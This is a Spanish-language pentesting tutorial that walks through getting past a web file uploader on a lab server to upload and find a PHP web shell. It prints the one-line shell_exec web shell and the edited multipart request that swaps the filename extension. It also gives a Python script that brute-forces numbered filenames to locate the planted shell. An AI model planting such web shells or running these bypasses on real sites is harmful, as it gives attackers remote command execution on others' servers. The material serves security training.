
Artículo · Pentesting a Aplicaciones Web
Técnicas para Bypassear un Uploader y subir una Web Shell
Introducción
Cuando se realiza un Pentesting Web, lo más importante es detectar vulnerabilidades que permitan ganar acceso al sistema, si el sitio web maneja usuarios, es probable que sea posible encontrar un uploader para subir alguna imagen de la cuenta de usuario, etc. En esta oportunidad veremos cómo Bypassear un uploader para subir una web shell.
Bypass Uploader – Foro Especializado
Tenemos un uploader en una ruta específica. (En la vida real este estilo de formularios se puede detectar por lo general dentro de una sesión, pero para efectos de prueba simularemos que ya estamos dentro de la sesión y se nos solicita subir una imagen).
En primer lugar lo que haremos será subir una imagen válida para verificar que se pueden subir correctamente las imágenes.
Bypass Uploader – Intentando Subir Imagen Válida
Bypass Uploader – Imagen Subida Exitosamente
A continuación, debemos encontrar el directorio, donde la imagen fue subida, para ello podemos utilizar diversas técnicas como por ejemplo hacer un proceso de Web Scraping, técnicas de Google Dorks, herramientas como dirbuster, burpsuite, etc.
En este caso detectamos que el directorio donde se subían los archivos es uploads.
Bypass Uploader – Directorio con Imagen Subida
Ahora vamos a empezar a intentar subir una shell simple php la cual es la siguiente:
//shell.php
<?php
$cmd = $_GET[‘cmd’];
echo shell_exec($cmd);
¿>
Esta simple Web Shell, lo que hace es ejecutar comandos del sistema a través de la variable cmd. Intentaremos subir el archivo shell.php a ver qué sucede.
Bypass Uploader – Intentando Subir Archivo PHP
Bypass Uploader – Archivo NO Válido
Lo que haremos, será editar el archivo y agregar la extensión jpg , quedando de la forma shell.php.jpg, finalmente intentamos subir el archivo. Utilizaremos el plugin de Firefox Tamper Data, para capturar la trama de esta petición y modificarla antes de que llegue al servidor. Una vez cargada la imagen, en Tamper Data seleccionamos la opción Comenzar Modificación, esta opción nos permitirá capturar todas las peticiones enviadas al servidor.
Bypass Uploader – Tamper Data
Posteriormente presionamos el botón de Submit del formulario web, Tamper Data nos preguntará si deseamos Modificar la petición, presionamos Modificar y observamos lo siguiente.
Bypass Uploader – Trama POST Uploader
Lo que debemos hacer es cambiar shell.php.jpg por shell.php y posteriormente presionamos aceptar.
Actual
-----------------------------43489332500\r\nContent-Disposition: form-data; name="file"; filename="shell.php.jpg"\r\nContent-Type: image/jpeg\r\n\r\n<?php\n\n$cmd = $_GET['cmd'];\n\necho shell_exec($cmd);\n\n?>\n\r\n-----------------------------43489332500\r\nContent-Disposition: form-data; name="submit"\r\n\r\nSubmit\r\n-----------------------------
-----------------------------43489332500\r\nContent-Disposition: form-data; name="file"; filename="shell.php"\r\nContent-Type: image/jpeg\r\n\r\n<?php\n\n$cmd = $_GET['cmd'];\n\necho shell_exec($cmd);\n\n?>\n\r\n-----------------------------43489332500\r\nContent-Disposition: form-data; name="submit"\r\n\r\nSubmit\r\n-----------------------------
Bypass Uploader – web shell subida con éxito
La Web Shell fue subida con éxito. Esto se debe a que el programador no realizó una validación de tipos de datos POST la subida del archivo.
Bypass Uploader – web shell en el servidor
Finalmente ejecutamos la Web Shell.
Bypass Uploader – web shell en el servidor
Ahora tenemos el siguiente escenario:
Bypass Uploader – Nuevo Escenario
Subimos el archivo Web Shell de la misma forma que el anterior:
Bypass Uploader – Subiendo Archivo
Acá nos damos cuenta de que el nombre del archivo subido no nos aparece. Si vamos a la ruta uploads con el nombre del archivo shell.php tenemos lo siguiente:
Bypass Uploader – Archivo shell.php no encontrado
El archivo no se encuentra en la ruta uploads, ahora vamos a la ruta uploads para poder ver nuestro archivo y nos percatamos de lo siguiente:
Bypass Uploader – Directorio no legible para el usuario final
No es posible listar los archivos del servidor. Si volvemos al menú principal, tenemos una imagen que corresponde al logo de BacktrackAcademy, al abrirlo en el browser:
Bypass Uploader – Imagen Backtrack Academy
Nos percatamos que el archivo de imagen de bta (Backtrack Academy) es un número, por ende podríamos intentar detectar nuestra Web Shell, a través de una secuencia numérica con la extensión .php. Para automatizar este proceso lo haremos con Python.
#!/usr/bin/python
#exploitShell.py
import requests
for i in range(23451, 30000):
website = "http://192.168.206.130/uploads/"+str(i)+".php"
response = requests.get(website)
if response.status_code == 200:
print "[+]Probable Web Shell, verificar manualmente..[+]"
print website
break
else:
print "Not Found"
Bypass Uploader – Web Shell Detectada
Finalmente verificamos manualmente si se trata de la Web Shell.
Bypass Uploader – Web Shell en el Servidor
Efectivamente hemos detectado la Web Shell, como se puede ver en la imagen anterior a través del script se logró detectar el archivo malicioso en el Servidor Web.
¿Quieres aprender estas técnicas en profundidad?
Continúa tu ruta con Web Application Testing.




